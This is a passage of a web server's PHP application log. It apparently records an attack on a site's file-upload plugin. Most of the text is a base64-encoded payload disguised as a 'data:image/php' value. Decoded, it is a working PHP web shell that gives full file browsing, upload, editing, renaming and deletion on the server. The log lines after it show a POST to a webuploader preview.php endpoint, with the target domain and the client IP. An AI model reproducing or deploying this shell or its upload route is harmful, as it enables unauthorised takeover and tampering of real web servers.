'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:59+08:00 ] 119.42.146.234 POST 51tianwei.com/source/plugin/iscwo_kaifu/webuploader/0.1.5/server/preview.php [运行时间:0.002677s] [吞吐率:373.56req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'source', 2 => 'plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 